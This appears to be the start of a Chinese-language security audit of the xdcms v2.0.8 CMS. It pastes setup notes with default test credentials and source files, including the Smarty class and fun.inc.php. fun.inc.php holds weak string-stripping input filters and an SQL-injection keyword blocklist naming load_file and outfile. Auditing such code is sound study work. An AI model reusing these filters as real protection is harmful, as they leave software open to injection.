xdcms

源码:xdcms v2.0.8

1、配置  【一直下一步(仅为测试)】

#数据库账号root,密码为空;管理员账号/密码:xdcms/xdcms

#登录后台

2、查看后台登录页面的配置项【xdcms/admin/index.php】

<script>location.href="../index.php?m=xdcms&c=login";</script>  

m:一个模块;c:一个操作

3、查看主页面源码【xdcms/index.php】

<?php
if(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();}  //判断是否存在数据配置文件,若无,则跳转到安装页面
require dirname(__FILE__).'/system/common.inc.php';    //包含程序配置文件【system/common.inc.php】
?>

4、查看程序配置文件【/system/common.inc.php】

 <?php
define('CMS_URL','http://127.0.0.1/xdcms/');
define('TP_FOLDER','xdcms');
define('TP_CACHE',false);
?>

xdcms.inc.php

<?php
error_reporting(E_ALL & ~E_NOTICE);
date_default_timezone_set('Asia/Shanghai');
define('IN_CMS','true');
require dirname(__FILE__).'/xdcms.inc.php';    //加载了xdcms.inc.php

//系统目录
define('SYS_DIR','system');
define('TP_DIR','templates');
define('CMS_PATH',substr(dirname(__FILE__),0,-strlen(SYS_DIR)));
define('SYS_PATH',CMS_PATH.SYS_DIR."/");
define('DATA_PATH',CMS_PATH.'data/');
define('LIB_PATH',SYS_PATH.'libs/');
define('MOD_PATH',SYS_PATH.'modules/');
define('FUN_PATH',SYS_PATH.'function/');
define('TP_PATH',SYS_PATH.TP_DIR."/");

//缓存目录
define('CACHE_PATH',CMS_PATH.'cache/');
define('CACHE_TP_PATH',CACHE_PATH.'cache_template/');
define('CACHE_SYS_PATH',CACHE_PATH.'cache_sys/');
//附件目录
define('UPLOAD_PATH', CMS_PATH.'uploadfile/'); //附件保存物理路径

 <?php

 /**
* Project: Smarty: the PHP compiling template engine
* File: Smarty.class.php
* SVN: $Id: Smarty.class.php 4074 2011-04-22 02:19:14Z uwe.tews@googlemail.com $
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* For questions, help, comments, discussion, etc., please join the
* Smarty mailing list. Send a blank e-mail to
* smarty-discussion-subscribe@googlegroups.com
*
* @link http://www.smarty.net/
* @copyright 2008 New Digital Group, Inc.
* @author Monte Ohrt <monte at ohrt dot com>
* @author Uwe Tews
* @package Smarty
* @version 3.0.8
*/ /**
* define shorthand directory separator constant
*/
if (!defined('DS')) {
define('DS', DIRECTORY_SEPARATOR);
} /**
* set SMARTY_DIR to absolute path to Smarty library files.
* Sets SMARTY_DIR only if user application has not already defined it.
*/
if (!defined('SMARTY_DIR')) {
define('SMARTY_DIR', dirname(__FILE__) . DS);
} /**
* set SMARTY_SYSPLUGINS_DIR to absolute path to Smarty internal plugins.
* Sets SMARTY_SYSPLUGINS_DIR only if user application has not already defined it.
*/
if (!defined('SMARTY_SYSPLUGINS_DIR')) {
define('SMARTY_SYSPLUGINS_DIR', SMARTY_DIR . 'sysplugins' . DS);
}
if (!defined('SMARTY_PLUGINS_DIR')) {
define('SMARTY_PLUGINS_DIR', SMARTY_DIR . 'plugins' . DS);
}
if (!defined('SMARTY_RESOURCE_CHAR_SET')) {
define('SMARTY_RESOURCE_CHAR_SET', 'UTF-8');
}
if (!defined('SMARTY_RESOURCE_DATE_FORMAT')) {
define('SMARTY_RESOURCE_DATE_FORMAT', '%b %e, %Y');
} /**
* register the class autoloader
*/
if (!defined('SMARTY_SPL_AUTOLOAD')) {
define('SMARTY_SPL_AUTOLOAD', 0);
} if (SMARTY_SPL_AUTOLOAD && set_include_path(get_include_path() . PATH_SEPARATOR . SMARTY_SYSPLUGINS_DIR) !== false) {
$registeredAutoLoadFunctions = spl_autoload_functions();
if (!isset($registeredAutoLoadFunctions['spl_autoload'])) {
spl_autoload_register();
}
} else {
spl_autoload_register('smartyAutoload');
} /**
* This is the main Smarty class
*/
class Smarty extends Smarty_Internal_Data {
/**
* constant definitions
*/
// smarty version
const SMARTY_VERSION = 'Smarty-3.0.8';
//define variable scopes
const SCOPE_LOCAL = 0;
const SCOPE_PARENT = 1;
const SCOPE_ROOT = 2;
const SCOPE_GLOBAL = 3;
// define caching modes
const CACHING_OFF = 0;
const CACHING_LIFETIME_CURRENT = 1;
const CACHING_LIFETIME_SAVED = 2;
/** modes for handling of "<?php ... ?>" tags in templates. **/
const PHP_PASSTHRU = 0; //-> print tags as plain text
const PHP_QUOTE = 1; //-> escape tags as entities
const PHP_REMOVE = 2; //-> escape tags as entities
const PHP_ALLOW = 3; //-> escape tags as entities
// filter types
const FILTER_POST = 'post';
const FILTER_PRE = 'pre';
const FILTER_OUTPUT = 'output';
const FILTER_VARIABLE = 'variable';
// plugin types
const PLUGIN_FUNCTION = 'function';
const PLUGIN_BLOCK = 'block';
const PLUGIN_COMPILER = 'compiler';
const PLUGIN_MODIFIER = 'modifier'; /**
* static variables
*/
// assigned global tpl vars
static $global_tpl_vars = array(); /**
* variables
*/
// auto literal on delimiters with whitspace
public $auto_literal = true;
// display error on not assigned variables
public $error_unassigned = false;
// template directory
public $template_dir = null;
// default template handler
public $default_template_handler_func = null;
// compile directory
public $compile_dir = null;
// plugins directory
public $plugins_dir = null;
// cache directory
public $cache_dir = null;
// config directory
public $config_dir = null;
// force template compiling?
public $force_compile = false;
// check template for modifications?
public $compile_check = true;
// locking concurrent compiles
public $compile_locking = true;
// use sub dirs for compiled/cached files?
public $use_sub_dirs = false;
// compile_error?
public $compile_error = false;
// caching enabled
public $caching = false;
// merge compiled includes
public $merge_compiled_includes = false;
// cache lifetime
public $cache_lifetime = 3600;
// force cache file creation
public $force_cache = false;
// cache_id
public $cache_id = null;
// compile_id
public $compile_id = null;
// template delimiters
public $left_delimiter = "{";
public $right_delimiter = "}";
// security
public $security_class = 'Smarty_Security';
public $security_policy = null;
public $php_handling = self::PHP_PASSTHRU;
public $allow_php_tag = false;
public $allow_php_templates = false;
public $direct_access_security = true;
public $trusted_dir = array();
// debug mode
public $debugging = false;
public $debugging_ctrl = 'NONE';
public $smarty_debug_id = 'SMARTY_DEBUG';
public $debug_tpl = null;
// When set, smarty does uses this value as error_reporting-level.
public $error_reporting = null;
// config var settings
public $config_overwrite = true; //Controls whether variables with the same name overwrite each other.
public $config_booleanize = true; //Controls whether config values of on/true/yes and off/false/no get converted to boolean
public $config_read_hidden = false; //Controls whether hidden config sections/vars are read from the file.
// config vars
public $config_vars = array();
// assigned tpl vars
public $tpl_vars = array();
// dummy parent object
public $parent = null;
// global template functions
public $template_functions = array();
// resource type used if none given
public $default_resource_type = 'file';
// caching type
public $caching_type = 'file';
// internal cache resource types
public $cache_resource_types = array('file');
// internal config properties
public $properties = array();
// config type
public $default_config_type = 'file';
// cached template objects
public $template_objects = null;
// check If-Modified-Since headers
public $cache_modified_check = false;
// registered plugins
public $registered_plugins = array();
// plugin search order
public $plugin_search_order = array('function', 'block', 'compiler', 'class');
// registered objects
public $registered_objects = array();
// registered classes
public $registered_classes = array();
// registered filters
public $registered_filters = array();
// registered resources
public $registered_resources = array();
// autoload filter
public $autoload_filters = array();
// status of filter on variable output
public $variable_filter = true;
// default modifier
public $default_modifiers = array();
// global internal smarty vars
static $_smarty_vars = array();
// start time for execution time calculation
public $start_time = 0;
// default file permissions
public $_file_perms = 0644;
// default dir permissions
public $_dir_perms = 0771;
// block tag hierarchy
public $_tag_stack = array();
// flag if {block} tag is compiled for template inheritance
public $inheritance = false;
// generate deprecated function call notices?
public $deprecation_notices = true;
// Smarty 2 BC
public $_version = self::SMARTY_VERSION;
// self pointer to Smarty object
public $smarty; /**
* Class constructor, initializes basic smarty properties
*/
public function __construct()
{
// selfpointer need by some other class methods
$this->smarty = $this;
if (is_callable('mb_internal_encoding')) {
mb_internal_encoding(SMARTY_RESOURCE_CHAR_SET);
}
$this->start_time = microtime(true);
// set default dirs
$this->template_dir = array('.' . DS . 'templates' . DS);
$this->compile_dir = '.' . DS . 'templates_c' . DS;
$this->plugins_dir = array(SMARTY_PLUGINS_DIR);
$this->cache_dir = '.' . DS . 'cache' . DS;
$this->config_dir = '.' . DS . 'configs' . DS;
$this->debug_tpl = 'file:' . SMARTY_DIR . 'debug.tpl';
if (isset($_SERVER['SCRIPT_NAME'])) {
$this->assignGlobal('SCRIPT_NAME', $_SERVER['SCRIPT_NAME']);
}
} /**
* Class destructor
*/
public function __destruct()
{
} /**
* fetches a rendered Smarty template
*
* @param string $template the resource handle of the template file or template object
* @param mixed $cache_id cache id to be used with this template
* @param mixed $compile_id compile id to be used with this template
* @param object $ |null $parent next higher level of Smarty variables
* @return string rendered template output
*/
public function fetch($template, $cache_id = null, $compile_id = null, $parent = null, $display = false)
{
if (!empty($cache_id) && is_object($cache_id)) {
$parent = $cache_id;
$cache_id = null;
}
if ($parent === null) {
// get default Smarty data object
$parent = $this;
}
// create template object if necessary
($template instanceof $this->template_class)? $_template = $template :
$_template = $this->createTemplate ($template, $cache_id, $compile_id, $parent, false);
if (isset($this->error_reporting)) {
$_smarty_old_error_level = error_reporting($this->error_reporting);
}
// check URL debugging control
if (!$this->debugging && $this->debugging_ctrl == 'URL') {
if (isset($_SERVER['QUERY_STRING'])) {
$_query_string = $_SERVER['QUERY_STRING'];
} else {
$_query_string = '';
}
if (false !== strpos($_query_string, $this->smarty_debug_id)) {
if (false !== strpos($_query_string, $this->smarty_debug_id . '=on')) {
// enable debugging for this browser session
setcookie('SMARTY_DEBUG', true);
$this->debugging = true;
} elseif (false !== strpos($_query_string, $this->smarty_debug_id . '=off')) {
// disable debugging for this browser session
setcookie('SMARTY_DEBUG', false);
$this->debugging = false;
} else {
// enable debugging for this page
$this->debugging = true;
}
} else {
if (isset($_COOKIE['SMARTY_DEBUG'])) {
$this->debugging = true;
}
}
}
// obtain data for cache modified check
if ($this->cache_modified_check && $this->caching && $display) {
$_isCached = $_template->isCached() && !$_template->has_nocache_code;
if ($_isCached) {
$_gmt_mtime = gmdate('D, d M Y H:i:s', $_template->getCachedTimestamp()) . ' GMT';
} else {
$_gmt_mtime = '';
}
}
// return rendered template
if ((!$this->caching || $_template->resource_object->isEvaluated) && (isset($this->autoload_filters['output']) || isset($this->registered_filters['output']))) {
$_output = Smarty_Internal_Filter_Handler::runFilter('output', $_template->getRenderedTemplate(), $_template);
} else {
$_output = $_template->getRenderedTemplate();
}
$_template->rendered_content = null;
if (isset($this->error_reporting)) {
error_reporting($_smarty_old_error_level);
}
// display or fetch
if ($display) {
if ($this->caching && $this->cache_modified_check) {
$_last_modified_date = @substr($_SERVER['HTTP_IF_MODIFIED_SINCE'], 0, strpos($_SERVER['HTTP_IF_MODIFIED_SINCE'], 'GMT') + 3);
if ($_isCached && $_gmt_mtime == $_last_modified_date) {
if (php_sapi_name() == 'cgi')
header('Status: 304 Not Modified');
else
header('HTTP/1.1 304 Not Modified');
} else {
header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $_template->getCachedTimestamp()) . ' GMT');
echo $_output;
}
} else {
echo $_output;
}
// debug output
if ($this->debugging) {
Smarty_Internal_Debug::display_debug($this);
}
return;
} else {
// return fetched content
return $_output;
}
} /**
* displays a Smarty template
*
* @param string $ |object $template the resource handle of the template file or template object
* @param mixed $cache_id cache id to be used with this template
* @param mixed $compile_id compile id to be used with this template
* @param object $parent next higher level of Smarty variables
*/
public function display($template, $cache_id = null, $compile_id = null, $parent = null)
{
// display template
$this->fetch ($template, $cache_id, $compile_id, $parent, true);
} /**
* test if cache i valid
*
* @param string $ |object $template the resource handle of the template file or template object
* @param mixed $cache_id cache id to be used with this template
* @param mixed $compile_id compile id to be used with this template
* @param object $parent next higher level of Smarty variables
* @return boolean cache status
*/
public function isCached($template, $cache_id = null, $compile_id = null, $parent = null)
{
if ($parent === null) {
$parent = $this;
}
if (!($template instanceof $this->template_class)) {
$template = $this->createTemplate ($template, $cache_id, $compile_id, $parent, false);
}
// return cache status of template
return $template->isCached();
} /**
* creates a data object
*
* @param object $parent next higher level of Smarty variables
* @returns object data object
*/
public function createData($parent = null)
{
return new Smarty_Data($parent, $this);
} /**
* creates a template object
*
* @param string $template the resource handle of the template file
* @param mixed $cache_id cache id to be used with this template
* @param mixed $compile_id compile id to be used with this template
* @param object $parent next higher level of Smarty variables
* @param boolean $do_clone flag is Smarty object shall be cloned
* @returns object template object
*/
public function createTemplate($template, $cache_id = null, $compile_id = null, $parent = null, $do_clone = true)
{
if (!empty($cache_id) && (is_object($cache_id) || is_array($cache_id))) {
$parent = $cache_id;
$cache_id = null;
}
if (!empty($parent) && is_array($parent)) {
$data = $parent;
$parent = null;
} else {
$data = null;
}
if (!is_object($template)) {
// we got a template resource
// already in template cache?
$_templateId = sha1($template . $cache_id . $compile_id);
if (isset($this->template_objects[$_templateId]) && $this->caching) {
// return cached template object
$tpl = $this->template_objects[$_templateId];
} else {
// create new template object
if ($do_clone) {
$tpl = new $this->template_class($template, clone $this, $parent, $cache_id, $compile_id);
} else {
$tpl = new $this->template_class($template, $this, $parent, $cache_id, $compile_id);
}
}
} else {
// just return a copy of template class
$tpl = $template;
}
// fill data if present
if (!empty($data) && is_array($data)) {
// set up variable values
foreach ($data as $_key => $_val) {
$tpl->tpl_vars[$_key] = new Smarty_variable($_val);
}
}
return $tpl;
} /**
* Check if a template resource exists
*
* @param string $resource_name template name
* @return boolean status
*/
function templateExists($resource_name)
{
// create template object
$save = $this->template_objects;
$tpl = new $this->template_class($resource_name, $this);
// check if it does exists
$result = $tpl->isExisting();
$this->template_objects = $save;
return $result;
} /**
* Returns a single or all global variables
*
* @param object $smarty
* @param string $varname variable name or null
* @return string variable value or or array of variables
*/
function getGlobal($varname = null)
{
if (isset($varname)) {
if (isset(self::$global_tpl_vars[$varname])) {
return self::$global_tpl_vars[$varname]->value;
} else {
return '';
}
} else {
$_result = array();
foreach (self::$global_tpl_vars AS $key => $var) {
$_result[$key] = $var->value;
}
return $_result;
}
} /**
* Empty cache folder
*
* @param integer $exp_time expiration time
* @param string $type resource type
* @return integer number of cache files deleted
*/
function clearAllCache($exp_time = null, $type = null)
{
// load cache resource and call clearAll
return $this->loadCacheResource($type)->clearAll($exp_time);
} /**
* Empty cache for a specific template
*
* @param string $template_name template name
* @param string $cache_id cache id
* @param string $compile_id compile id
* @param integer $exp_time expiration time
* @param string $type resource type
* @return integer number of cache files deleted
*/
function clearCache($template_name, $cache_id = null, $compile_id = null, $exp_time = null, $type = null)
{
// load cache resource and call clear
return $this->loadCacheResource($type)->clear($template_name, $cache_id, $compile_id, $exp_time);
} /**
* Loads security class and enables security
*/
public function enableSecurity($security_class = null)
{
if ($security_class instanceof Smarty_Security) {
$this->security_policy = $security_class;
return;
}
if ($security_class == null) {
$security_class = $this->security_class;
}
if (class_exists($security_class)) {
$this->security_policy = new $security_class($this);
} else {
throw new SmartyException("Security class '$security_class' is not defined");
}
} /**
* Disable security
*/
public function disableSecurity()
{
$this->security_policy = null;
} /**
* Loads cache resource.
*
* @param string $type cache resource type
* @return object of cache resource
*/
public function loadCacheResource($type = null) {
if (!isset($type)) {
$type = $this->caching_type;
}
if (in_array($type, $this->cache_resource_types)) {
$cache_resource_class = 'Smarty_Internal_CacheResource_' . ucfirst($type);
return new $cache_resource_class($this);
}
else {
// try plugins dir
$cache_resource_class = 'Smarty_CacheResource_' . ucfirst($type);
if ($this->loadPlugin($cache_resource_class)) {
return new $cache_resource_class($this);
}
else {
throw new SmartyException("Unable to load cache resource '{$type}'");
}
}
} /**
* Set template directory
*
* @param string $ |array $template_dir folder(s) of template sorces
*/
public function setTemplateDir($template_dir)
{
$this->template_dir = (array)$template_dir;
return;
} /**
* Adds template directory(s) to existing ones
*
* @param string $ |array $template_dir folder(s) of template sources
*/
public function addTemplateDir($template_dir)
{
$this->template_dir = array_unique(array_merge((array)$this->template_dir, (array)$template_dir));
return;
} /**
* Adds directory of plugin files
*
* @param object $smarty
* @param string $ |array $ plugins folder
* @return
*/
function addPluginsDir($plugins_dir)
{
$this->plugins_dir = array_unique(array_merge((array)$this->plugins_dir, (array)$plugins_dir));
return;
} /**
* return a reference to a registered object
*
* @param string $name object name
* @return object
*/
function getRegisteredObject($name)
{
if (!isset($this->registered_objects[$name]))
throw new SmartyException("'$name' is not a registered object"); if (!is_object($this->registered_objects[$name][0]))
throw new SmartyException("registered '$name' is not an object"); return $this->registered_objects[$name][0];
} /**
* return name of debugging template
*
* @return string
*/
function getDebugTemplate()
{
return $this->debug_tpl;
} /**
* set the debug template
*
* @param string $tpl_name
* @return bool
*/
function setDebugTemplate($tpl_name)
{
return $this->debug_tpl = $tpl_name;
} /**
* Takes unknown classes and loads plugin files for them
* class name format: Smarty_PluginType_PluginName
* plugin filename format: plugintype.pluginname.php
*
* @param string $plugin_name class plugin name to load
* @return string |boolean filepath of loaded file or false
*/
public function loadPlugin($plugin_name, $check = true)
{
// if function or class exists, exit silently (already loaded)
if ($check && (is_callable($plugin_name) || class_exists($plugin_name, false)))
return true;
// Plugin name is expected to be: Smarty_[Type]_[Name]
$_plugin_name = strtolower($plugin_name);
$_name_parts = explode('_', $_plugin_name, 3);
// class name must have three parts to be valid plugin
if (count($_name_parts) < 3 || $_name_parts[0] !== 'smarty') {
throw new SmartyException("plugin {$plugin_name} is not a valid name format");
return false;
}
// if type is "internal", get plugin from sysplugins
if ($_name_parts[1] == 'internal') {
$file = SMARTY_SYSPLUGINS_DIR . $_plugin_name . '.php';
if (file_exists($file)) {
require_once($file);
return $file;
} else {
return false;
}
}
// plugin filename is expected to be: [type].[name].php
$_plugin_filename = "{$_name_parts[1]}.{$_name_parts[2]}.php";
// loop through plugin dirs and find the plugin
foreach((array)$this->plugins_dir as $_plugin_dir) {
if (strpos('/\\', substr($_plugin_dir, -1)) === false) {
$_plugin_dir .= DS;
}
$file = $_plugin_dir . $_plugin_filename;
if (file_exists($file)) {
require_once($file);
return $file;
}
}
// no plugin loaded
return false;
} /**
* clean up properties on cloned object
*/
public function __clone()
{
// clear config vars
$this->config_vars = array();
// clear assigned tpl vars
$this->tpl_vars = array();
// clear objects for external methods
unset($this->register);
unset($this->filter);
} /**
* Handle unknown class methods
*
* @param string $name unknown methode name
* @param array $args aurgument array
*/
public function __call($name, $args)
{
static $camel_func;
if (!isset($camel_func))
$camel_func = create_function('$c', 'return "_" . strtolower($c[1]);');
// see if this is a set/get for a property
$first3 = strtolower(substr($name, 0, 3));
if (in_array($first3, array('set', 'get')) && substr($name, 3, 1) !== '_') {
// try to keep case correct for future PHP 6.0 case-sensitive class methods
// lcfirst() not available < PHP 5.3.0, so improvise
$property_name = strtolower(substr($name, 3, 1)) . substr($name, 4);
// convert camel case to underscored name
$property_name = preg_replace_callback('/([A-Z])/', $camel_func, $property_name);
if (!property_exists($this, $property_name)) {
throw new SmartyException("property '$property_name' does not exist.");
return false;
}
if ($first3 == 'get')
return $this->$property_name;
else
return $this->$property_name = $args[0];
}
// Smarty Backward Compatible wrapper
if (strpos($name,'_') !== false) {
if (!isset($this->wrapper)) {
$this->wrapper = new Smarty_Internal_Wrapper($this);
}
return $this->wrapper->convert($name, $args);
}
// external Smarty methods ?
foreach(array('Filter','Register') as $external) {
if (class_exists("Smarty_Internal_{$external}") && method_exists("Smarty_Internal_{$external}",$name)) {
if (!isset($this->$external)) {
$class = "Smarty_Internal_{$external}";
$this->$external = new $class($this);
}
return call_user_func_array(array($this->$external,$name), $args);
}
}
if (in_array($name,array('clearCompiledTemplate','compileAllTemplates','compileAllConfig','testInstall','getTags'))) {
if (!isset($this->utility)) {
$this->utility = new Smarty_Internal_Utility($this);
}
return call_user_func_array(array($this->utility,$name), $args);
}
// PHP4 call to constructor?
if (strtolower($name) == 'smarty') {
throw new SmartyException('Please use parent::__construct() to call parent constuctor');
return false;
}
throw new SmartyException("Call of unknown function '$name'.");
}
} /**
* Autoloader
*/
function smartyAutoload($class)
{
$_class = strtolower($class);
if (substr($_class, 0, 16) === 'smarty_internal_' || $_class == 'smarty_security') {
include SMARTY_SYSPLUGINS_DIR . $_class . '.php';
}
} /**
* Smarty exception class
*/
Class SmartyException extends Exception {
} /**
* Smarty compiler exception class
*/
Class SmartyCompilerException extends SmartyException {
} ?>

Smarty.class.php

//Smarty配置
include_once(SYS_PATH."Smarty/Smarty.class.php"); //包含smarty类文件
$smarty = new Smarty(); //建立smarty实例对象$smarty
$smarty->caching=TP_CACHE; //是否使用缓存
$smarty->template_dir = TP_PATH; //设置模板目录
$smarty->compile_dir = SYS_PATH."templates_c"; //设置编译目录
$smarty->cache_dir = CACHE_TP_PATH; //缓存文件夹
$smarty->cache_lifetime = 300; //缓存时间
$smarty->left_delimiter = "{";
$smarty->right_delimiter = "}";

include(DATA_PATH."config.inc.php");  //数据库配置信息

 <?php
//数据库配置信息
define('DB_HOST', 'localhost'); //数据库服务器主机地址
define('DB_USER', 'root'); //数据库帐号
define('DB_PW', ''); //数据库密码
define('DB_NAME', 'xdcms'); //数据库名
define('DB_PRE', 'c_'); //数据库表前缀
define('DB_CHARSET', 'gbk'); //数据库字符集
define('DB_PCONNECT', 0); //0 或1,是否使用持久连接
?>

DATA-config.inc.php

include(FUN_PATH."fun.inc.php");  //函数的配置【system/function/fun.inc.php】

 <?php
/**
* $Author: 91736 $
* ============================================================================
* 函数库
* 网站地址: http://www.91736.com
* 更多PHP开发请登录:http://bbs.91736.com
* ============================================================================
*/ include(FUN_PATH."clue.inc.php");
include(LIB_PATH."base.class.php");
include(LIB_PATH."Cookie.class.php");
include(FUN_PATH."global.inc.php"); //模板加载函数
function template($name,$path=""){
global $smarty;
if(empty($path)){
$path=TP_FOLDER;
}
if(!file_exists(TP_PATH.$path."/".$name.".html"))die($path."/".$name.".html模版文件不存在"); //检查模版文件是否存在
$smarty->display($path."/".$name.".html",$_SERVER['REQUEST_URI']);
} //变量加载函数
function assign($var,$value){
global $smarty;
$smarty->assign($var,$value);
} //安全过滤函数
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
} //安全过滤函数
function safe_html($str){
if(empty($str)){return;}
if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b
|\boutfile\b/i',$str)){showmsg(C('error'),'-1');}
return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
} //提示信息内容
function C($clue){
global $CLUE;
return $CLUE[$clue];
} //提示信息对话框
function showmsg($msg,$gourl,$onlymsg=0,$limittime=0){
$htmlhead = "<html>\r\n<head>\r\n<title>提示信息</title>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gbk}\" />\r\n";
$htmlhead .= "<base target='_self'/>\r\n<style>";
$htmlhead .= "*{font-size:12px;color:#2B61BA;}\r\n";
$htmlhead .= "body{font-family:\"微软雅黑\",\"宋体\", Verdana, Arial, Helvetica, sans-serif;background:#FFFFFF;margin:0;}\r\n";
$htmlhead .= "a:link,a:visited,a:active {color:#ABBBD6;text-decoration:none;}\r\n";
$htmlhead .= ".msg{width:400px;text-align:left;background:#FFFFFF url('admin/images/msgbg.gif') repeat-x;margin:auto;}\r\n";
$htmlhead .= ".head{letter-spacing:2px;line-height:29px;height:26px;overflow:hidden;font-weight:bold;}\r\n";
$htmlhead .= ".content{padding:10px 20px 5px 20px;line-height:200%;word-break:break-all;border:#7998B7 1px solid;border-top:none;}\r\n";
$htmlhead .= ".ml{color:#FFFFFF;background:url('admin/images/msg.gif') no-repeat 0 0;padding-left:10px;}\r\n";
$htmlhead .= ".mr{float:right;background:url('admin/images/msg.gif') no-repeat 0 -34px;width:4px;font-size:1px;}\r\n";
$htmlhead .= "</style></head>\r\n<body leftmargin='0' topmargin='0'><center>\r\n<script>\r\n";
$htmlfoot = "</script>\r\n</center>\r\n</body>\r\n</html>\r\n";
$litime = ($limittime==0 ? 1000 : $limittime);
$func = '';
if($gourl=='3'){
$gourls='3';
}
if($gourl=='-1' || $gourl=='3'){
if($limittime==0) $litime = 3000;
$gourl = "javascript:history.go(-1);";
}
if($gourl=='0'){
if($limittime==0) $litime = 3000;
$gourl = "javascript:history.back();";
}
if($gourl=='' || $onlymsg==1){
$msg = "<script>alert(\"".str_replace("\"","“",$msg)."\");</script>";
}else{
if(preg_match('/close::/i',$gourl)){
$tgobj = trim(eregi_replace('close::', '', $gourl));
$gourl = 'javascript:;';
$func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
} $func .= " var pgo=0;
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}\r\n";
$rmsg = $func;
$rmsg .= "document.write(\"<br /><br /><br /><div class='msg'>";
$rmsg .= "<div class='head'><div class='mr'> </div><div class='ml'>".C("message_title")."</div></div>\");\r\n";
$rmsg .= "document.write(\"<div class='content'>\");\r\n";
$rmsg .= "document.write(\"".str_replace("\"","“",$msg)."\");\r\n";
$rmsg .= "document.write(\""; if($onlymsg==0){
if( $gourl != 'javascript:;' && $gourl != ''){
$rmsg .= "<br /><a href='{$gourl}'>".C("browser_not_reaction")."</a>";
$rmsg .= "</div>\");\r\n";
$rmsg .= "setTimeout('JumpUrl()',$litime);";
}else{
$rmsg .= "</div>\");\r\n";
}
}else{
$rmsg .= "<br/></div>\");\r\n";
}
$msg = $htmlhead.$rmsg.$htmlfoot;
}
echo $msg;
if($gourls!='3'){
exit;
}
} function header_location($url){
//header("Location:".$url);
echo "<script>location.href='".$url."';</script>";
} //根据模型ID返回表名
function modeltable($id){
$model=base::load_cache("cache_model","_model");
$array=get_array($model,"id",$id);
return $array[0]['model_table'];
unset($array);
} //根据模型表名返回ID
function modelid($table){
$model=base::load_cache("cache_model","_model");
$array=get_array($model,"model_table",$table);
return $array[0]['id'];
unset($array);
} //根据表单ID返回表名
function formtable($id){
$form=base::load_cache("cache_form","_form");
$array=get_array($form,"id",$id);
return $array[0]['form_table'];
unset($array);
} //获取IP
function getip() {
if (getenv ( "HTTP_CLIENT_IP" )) {
$httpip = getenv ( "HTTP_CLIENT_IP" );
return $httpip;
}
if (getenv ( "HTTP_X_FORWARDED_FOR" )) {
$httpip = getenv ( "HTTP_X_FORWARDED_FOR" );
return $httpip;
}
if (getenv ( "HTTP_X_FORWARDED" )) {
$httpip = getenv ( "HTTP_X_FORWARDED" );
return $httpip;
}
if (getenv ( "HTTP_FORWARDED_FOR" )) {
$httpip = getenv ( "HTTP_FORWARDED_FOR" );
return $httpip;
}
if (getenv ( "HTTP_FORWARDED" )) {
$httpip = getenv ( "HTTP_FORWARDED" );
return $httpip;
}
$httpip = $_SERVER ['REMOTE_ADDR']; if (!preg_match("/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/", $httpip)) {
$httpip = "127.0.0.1";
} return $httpip;
} //获取当前时间
function datetime(){
return strtotime("now");
//echo date("Y-n-j H:i:s",strtotime("now"));
} //获取当前CMS版本
function cmsversion(){
include(FUN_PATH."version.inc.php");
return CMS_VERSION." ".CMS_RELEASE;
} //生成配置文件
function creat_inc($fl,$str){
if(file_exists($fl)){@unlink($fl);}
if(!$fp=@fopen($fl,'w')){
showmsg(C("file_open_error"),"-1");
}
flock($fp,LOCK_EX);
if(!fwrite($fp,$str)){
showmsg(C("file_write_error"),"-1");
}
flock($fp,LOCK_UN);
unset($fp);
} //检查字符串长度
function strlength($str,$len){
if(strlen($str)<$len){
return false;
}else{
return $str;
}
} //判断是否为数字
function is_num($str){
if(strlen($str)>0){
return preg_match('/[\d]/',$str);
}
} //正则检查字符串
function check_str($str,$ereg){
if(empty($str)){
return false;
}else{
return preg_match($ereg,$str);
}
} //取出模板文件列表
function get_tem_file($file=''){
$dir="";
$i=0;
$folder=TP_PATH.TP_FOLDER."/";
$fp=opendir($folder);
while($files=readdir($fp)){
if ($files!="." && $files!=".." && is_file($folder.$files)){
if(!empty($file)){
if(substr($files,0,4)==$file){
$i++;
$dir[$i]=$files;
}
}else{
$i++;
$dir[$i]=$files;
}
}
}
closedir($fp);
return $dir;
} //取得模板风格列表
function get_tem_dir(){
return dir_list(TP_PATH,"admin");
} //取得文件夹列表 url:路径 except:要排除的名称
function dir_list($url,$except){
$dir="";
$i=0;
$fp=opendir($url);
while($files=readdir($fp)){
if ($files!="." && $files!=".." && is_dir($url.$files) && $files!=$except){
$i++;
$dir[$i]=$files;
}
}
closedir($fp);
return $dir;
} //从数据库读取下属频道
function get_sort($id,$level) {
$row=get_menu($id,1);
if(is_array($row)){
foreach($row as $value){
if ($level>=1){
$prefix = str_pad("|",$level+1,'--',STR_PAD_RIGHT);
}else{
$prefix = "";
}
$left_menu[] = array('catname'=>$prefix.$value["catname"],'url' => $value["url"],'catid' => $value["catid"]); $sort = get_sort($value["catid"], $level+1); //如果有子类即循环
if(is_array($sort)){
foreach($sort as $v){
$left_menu[] = array('catname'=>$v["catname"],'url' => $v["url"],'catid' => $v["catid"]);
}
} }
}
return $left_menu;
} //获取当前栏目id下所有子栏目数组
function get_menu($parentid=0,$show=0){
$category=base::load_cache("cache_category","_category");
